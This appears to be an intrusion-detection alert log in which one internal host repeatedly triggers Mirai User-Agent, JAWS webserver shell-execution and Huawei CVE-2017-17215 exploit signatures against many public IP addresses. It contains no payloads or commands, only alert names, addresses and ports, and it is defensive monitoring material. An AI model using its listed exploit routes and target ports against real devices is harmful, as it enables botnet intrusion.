2024-12-03T23:17:30.553575+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	51288	155.0.32.37	80	TCP
2024-12-03T23:17:30.553575+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	51288	155.0.32.37	80	TCP
2024-12-03T23:17:31.225575+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	57790	41.12.127.243	37215	TCP
2024-12-03T23:17:31.388162+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	40962	118.219.237.82	80	TCP
2024-12-03T23:17:31.388162+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	40962	118.219.237.82	80	TCP
2024-12-03T23:17:31.388322+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	51816	197.2.201.150	37215	TCP
2024-12-03T23:17:31.397666+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	48422	14.96.70.140	80	TCP
2024-12-03T23:17:31.397666+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	48422	14.96.70.140	80	TCP
2024-12-03T23:17:31.403827+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	45904	116.190.35.83	80	TCP
2024-12-03T23:17:31.403827+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	45904	116.190.35.83	80	TCP
2024-12-03T23:17:31.403866+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	40308	61.88.46.74	80	TCP
2024-12-03T23:17:31.403866+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	40308	61.88.46.74	80	TCP
2024-12-03T23:17:31.403983+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	55510	41.211.84.214	37215	TCP
2024-12-03T23:17:31.419221+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	39980	41.195.231.85	37215	TCP
2024-12-03T23:17:31.419403+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	60858	156.117.25.217	37215	TCP
2024-12-03T23:17:31.443995+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	39816	156.64.74.58	37215	TCP
2024-12-03T23:17:31.444119+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	43002	4.135.147.206	80	TCP
2024-12-03T23:17:31.444119+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	43002	4.135.147.206	80	TCP
2024-12-03T23:17:31.459713+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	46070	99.158.112.160	80	TCP
2024-12-03T23:17:31.459713+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	46070	99.158.112.160	80	TCP
2024-12-03T23:17:31.475643+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	34110	41.157.16.8	37215	TCP
2024-12-03T23:17:31.475699+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	48306	41.36.166.239	37215	TCP
2024-12-03T23:17:32.294417+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	39048	197.4.19.208	37215	TCP
2024-12-03T23:17:32.294558+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	50270	197.83.100.147	37215	TCP
2024-12-03T23:17:32.294715+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	38638	156.106.27.44	37215	TCP
2024-12-03T23:17:32.309951+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	38108	197.96.112.130	37215	TCP
2024-12-03T23:17:32.325642+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	47788	197.118.170.165	37215	TCP
2024-12-03T23:17:32.325794+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	55790	197.32.203.121	37215	TCP
2024-12-03T23:17:32.325880+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	37424	41.88.150.218	37215	TCP
2024-12-03T23:17:32.325995+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	55752	156.142.214.18	37215	TCP
2024-12-03T23:17:32.341316+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	44132	41.182.102.191	37215	TCP
2024-12-03T23:17:32.350387+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	45992	197.118.234.171	37215	TCP
2024-12-03T23:17:32.350580+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	33856	156.78.86.96	37215	TCP
2024-12-03T23:17:32.350762+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	35070	156.148.67.237	37215	TCP
2024-12-03T23:17:32.403894+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	60300	197.218.2.236	37215	TCP
2024-12-03T23:17:32.419362+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	46102	42.62.14.212	80	TCP
2024-12-03T23:17:32.419362+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	46102	42.62.14.212	80	TCP
2024-12-03T23:17:32.419557+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	50432	164.175.90.24	80	TCP
2024-12-03T23:17:32.419557+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	50432	164.175.90.24	80	TCP
2024-12-03T23:17:32.419730+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	44816	145.90.229.2	80	TCP
2024-12-03T23:17:32.419730+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	44816	145.90.229.2	80	TCP
2024-12-03T23:17:32.428592+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	49890	156.103.97.9	37215	TCP
2024-12-03T23:17:32.467798+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	44674	149.166.136.118	80	TCP
2024-12-03T23:17:32.467798+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	44674	149.166.136.118	80	TCP
2024-12-03T23:17:32.467960+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	58894	102.3.91.113	80	TCP
2024-12-03T23:17:32.467960+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	58894	102.3.91.113	80	TCP
2024-12-03T23:17:32.481871+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	41908	197.31.92.163	37215	TCP
2024-12-03T23:17:32.482064+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	42906	41.210.87.254	37215	TCP
2024-12-03T23:17:32.491140+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	60192	41.141.149.154	37215	TCP
2024-12-03T23:17:32.591273+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	41844	156.81.130.169	37215	TCP
2024-12-03T23:17:32.616158+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	48804	41.0.76.123	37215	TCP
2024-12-03T23:17:32.638102+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	56580	178.180.2.233	80	TCP
2024-12-03T23:17:32.638102+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	56580	178.180.2.233	80	TCP
2024-12-03T23:17:32.647507+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	48896	156.1.78.130	37215	TCP
2024-12-03T23:17:32.669431+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	38224	44.237.70.93	80	TCP
2024-12-03T23:17:32.669431+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	38224	44.237.70.93	80	TCP
2024-12-03T23:17:32.669518+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	48990	174.18.78.26	80	TCP
2024-12-03T23:17:32.669518+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	48990	174.18.78.26	80	TCP
2024-12-03T23:17:32.725747+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	33904	18.70.152.9	80	TCP
2024-12-03T23:17:32.725747+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	33904	18.70.152.9	80	TCP
2024-12-03T23:17:33.033925+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	51384	41.174.163.55	37215	TCP
2024-12-03T23:17:33.460000+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	50116	135.158.121.118	80	TCP
2024-12-03T23:17:33.460000+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	50116	135.158.121.118	80	TCP
2024-12-03T23:17:33.553709+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	54528	124.134.142.53	80	TCP
2024-12-03T23:17:33.553709+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	54528	124.134.142.53	80	TCP
2024-12-03T23:17:33.553835+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	52164	176.83.134.1	80	TCP
2024-12-03T23:17:33.553835+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	52164	176.83.134.1	80	TCP
2024-12-03T23:17:33.575815+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	47744	125.90.53.209	80	TCP
2024-12-03T23:17:33.575815+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	47744	125.90.53.209	80	TCP
2024-12-03T23:17:33.616125+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	46984	176.226.179.82	80	TCP
2024-12-03T23:17:33.616125+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	46984	176.226.179.82	80	TCP
2024-12-03T23:17:33.616286+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	39540	45.33.194.219	80	TCP
2024-12-03T23:17:33.616286+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	39540	45.33.194.219	80	TCP
2024-12-03T23:17:33.616348+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	33060	35.0.129.178	80	TCP
2024-12-03T23:17:33.616348+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	33060	35.0.129.178	80	TCP
2024-12-03T23:17:33.638119+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	51940	41.247.200.34	37215	TCP
2024-12-03T23:17:34.435105+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	49144	197.102.170.55	37215	TCP
2024-12-03T23:17:34.450649+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	42486	156.121.154.98	37215	TCP
2024-12-03T23:17:34.450805+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	53360	197.234.135.89	37215	TCP
2024-12-03T23:17:34.466416+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	52090	156.7.104.99	37215	TCP
2024-12-03T23:17:34.466579+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	57866	197.89.1.140	37215	TCP
2024-12-03T23:17:34.466598+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	34398	197.190.196.251	37215	TCP
2024-12-03T23:17:34.466658+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	35100	41.178.160.96	37215	TCP
2024-12-03T23:17:34.466824+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	47558	41.205.129.126	37215	TCP
2024-12-03T23:17:34.466904+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	46100	41.229.226.153	37215	TCP
2024-12-03T23:17:34.467082+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	50748	197.140.34.10	37215	TCP
2024-12-03T23:17:34.467252+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	52378	197.90.112.203	37215	TCP
2024-12-03T23:17:34.467316+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	43460	197.39.189.255	37215	TCP
2024-12-03T23:17:34.467444+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	39260	41.62.249.239	37215	TCP
2024-12-03T23:17:34.475498+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	40776	197.201.118.71	37215	TCP
2024-12-03T23:17:34.475653+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	42588	156.130.110.104	37215	TCP
2024-12-03T23:17:34.475797+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	44094	41.221.212.131	37215	TCP
2024-12-03T23:17:34.475855+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	60762	156.162.10.53	37215	TCP
2024-12-03T23:17:34.475979+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	44620	41.225.98.208	37215	TCP
2024-12-03T23:17:34.476112+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	40896	41.130.85.54	37215	TCP
2024-12-03T23:17:34.476184+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	41368	41.86.143.191	37215	TCP
2024-12-03T23:17:34.491316+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	42442	197.3.161.136	37215	TCP
2024-12-03T23:17:34.497622+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	51190	41.92.234.206	37215	TCP
2024-12-03T23:17:34.497842+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	42310	41.171.83.190	37215	TCP
2024-12-03T23:17:34.498007+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	40486	41.231.176.25	37215	TCP
2024-12-03T23:17:34.498282+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	36286	197.216.35.65	37215	TCP
2024-12-03T23:17:34.506936+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	53272	156.5.208.201	37215	TCP
2024-12-03T23:17:34.507084+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	45358	156.183.168.159	37215	TCP
2024-12-03T23:17:34.507239+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	42550	41.221.178.200	37215	TCP
2024-12-03T23:17:34.507382+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	35558	197.134.240.214	37215	TCP
2024-12-03T23:17:34.507501+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	35340	197.109.55.19	37215	TCP
2024-12-03T23:17:34.507720+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	43570	156.150.79.199	37215	TCP
2024-12-03T23:17:34.522420+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	44556	156.94.29.213	37215	TCP
2024-12-03T23:17:34.522734+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	37256	197.122.214.225	37215	TCP
2024-12-03T23:17:34.522801+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	58866	197.193.126.160	37215	TCP
2024-12-03T23:17:34.522917+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	35366	41.96.185.119	37215	TCP
2024-12-03T23:17:34.523040+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	41702	41.240.42.60	37215	TCP
2024-12-03T23:17:34.523173+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	40940	41.180.86.198	37215	TCP
2024-12-03T23:17:34.538384+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	40228	197.228.192.49	37215	TCP
2024-12-03T23:17:34.538407+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	39426	197.65.245.167	37215	TCP
2024-12-03T23:17:34.538408+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	50134	197.148.5.26	37215	TCP
2024-12-03T23:17:34.544583+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	46624	23.157.14.229	80	TCP
2024-12-03T23:17:34.544583+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	46624	23.157.14.229	80	TCP
2024-12-03T23:17:34.553651+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	38482	41.25.33.91	37215	TCP
2024-12-03T23:17:34.575994+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	44910	150.12.89.136	80	TCP
2024-12-03T23:17:34.575994+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	44910	150.12.89.136	80	TCP
2024-12-03T23:17:34.576043+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	59030	103.226.21.96	80	TCP
2024-12-03T23:17:34.576043+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	59030	103.226.21.96	80	TCP
2024-12-03T23:17:34.576159+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	60782	35.104.240.152	80	TCP
2024-12-03T23:17:34.576159+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	60782	35.104.240.152	80	TCP
2024-12-03T23:17:34.585158+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	49098	171.23.157.139	80	TCP
2024-12-03T23:17:34.585158+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	49098	171.23.157.139	80	TCP
2024-12-03T23:17:34.591304+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	49116	222.209.238.50	80	TCP
2024-12-03T23:17:34.591304+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	49116	222.209.238.50	80	TCP
2024-12-03T23:17:34.600662+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	48874	98.200.12.120	80	TCP
2024-12-03T23:17:34.600662+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	48874	98.200.12.120	80	TCP
2024-12-03T23:17:34.600748+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	41880	95.218.225.125	80	TCP
2024-12-03T23:17:34.600748+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	41880	95.218.225.125	80	TCP
2024-12-03T23:17:34.606959+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	39236	183.53.140.221	80	TCP
2024-12-03T23:17:34.606959+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	39236	183.53.140.221	80	TCP
2024-12-03T23:17:34.616178+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	51486	89.162.172.53	80	TCP
2024-12-03T23:17:34.616178+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	51486	89.162.172.53	80	TCP
2024-12-03T23:17:34.616305+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	48792	179.13.30.253	80	TCP
2024-12-03T23:17:34.616305+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	48792	179.13.30.253	80	TCP
2024-12-03T23:17:34.632152+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	56932	117.176.161.90	80	TCP
2024-12-03T23:17:34.632152+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	56932	117.176.161.90	80	TCP
2024-12-03T23:17:34.794662+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	41002	158.219.141.29	80	TCP
2024-12-03T23:17:34.794662+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	41002	158.219.141.29	80	TCP
2024-12-03T23:17:34.825514+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	47340	185.169.197.28	80	TCP
2024-12-03T23:17:34.825514+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	47340	185.169.197.28	80	TCP
2024-12-03T23:17:34.835561+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	52876	207.63.218.146	80	TCP
2024-12-03T23:17:34.835561+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	52876	207.63.218.146	80	TCP
2024-12-03T23:17:34.841339+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	51086	164.137.181.109	80	TCP
2024-12-03T23:17:34.841339+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	51086	164.137.181.109	80	TCP
2024-12-03T23:17:35.685173+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	38434	211.242.92.69	80	TCP
2024-12-03T23:17:35.685173+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	38434	211.242.92.69	80	TCP
2024-12-03T23:17:35.685174+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	48084	60.123.91.201	80	TCP
2024-12-03T23:17:35.685174+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	48084	60.123.91.201	80	TCP
2024-12-03T23:17:35.700729+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	39936	174.144.72.171	80	TCP
2024-12-03T23:17:35.700729+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	39936	174.144.72.171	80	TCP
2024-12-03T23:17:35.727959+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	46182	54.45.67.147	80	TCP
2024-12-03T23:17:35.727959+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	46182	54.45.67.147	80	TCP
2024-12-03T23:17:35.728161+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	52836	115.97.85.71	80	TCP
2024-12-03T23:17:35.728161+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	52836	115.97.85.71	80	TCP
2024-12-03T23:17:35.763379+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	55816	221.229.136.232	80	TCP
2024-12-03T23:17:35.763379+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	55816	221.229.136.232	80	TCP
2024-12-03T23:17:35.772598+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	36796	163.235.157.153	80	TCP
2024-12-03T23:17:35.772598+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	36796	163.235.157.153	80	TCP
2024-12-03T23:17:35.773006+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	49770	69.131.169.153	80	TCP
2024-12-03T23:17:35.773006+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	49770	69.131.169.153	80	TCP
2024-12-03T23:17:35.773205+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	39582	195.28.21.20	80	TCP
2024-12-03T23:17:35.773205+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	39582	195.28.21.20	80	TCP
2024-12-03T23:17:36.056910+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	39468	156.241.184.101	37215	TCP
2024-12-03T23:17:36.142514+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	50440	4.151.10.125	80	TCP
2024-12-03T23:17:36.142514+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	50440	4.151.10.125	80	TCP
2024-12-03T23:17:36.178748+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	39506	105.52.78.251	80	TCP
2024-12-03T23:17:36.178748+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	39506	105.52.78.251	80	TCP
2024-12-03T23:17:36.763475+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	35732	95.238.79.243	80	TCP
2024-12-03T23:17:36.763475+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	35732	95.238.79.243	80	TCP
2024-12-03T23:17:36.763504+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	46152	141.147.242.167	80	TCP
2024-12-03T23:17:36.763504+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	46152	141.147.242.167	80	TCP
2024-12-03T23:17:36.772763+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	38652	100.152.35.95	80	TCP
2024-12-03T23:17:36.772763+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	38652	100.152.35.95	80	TCP
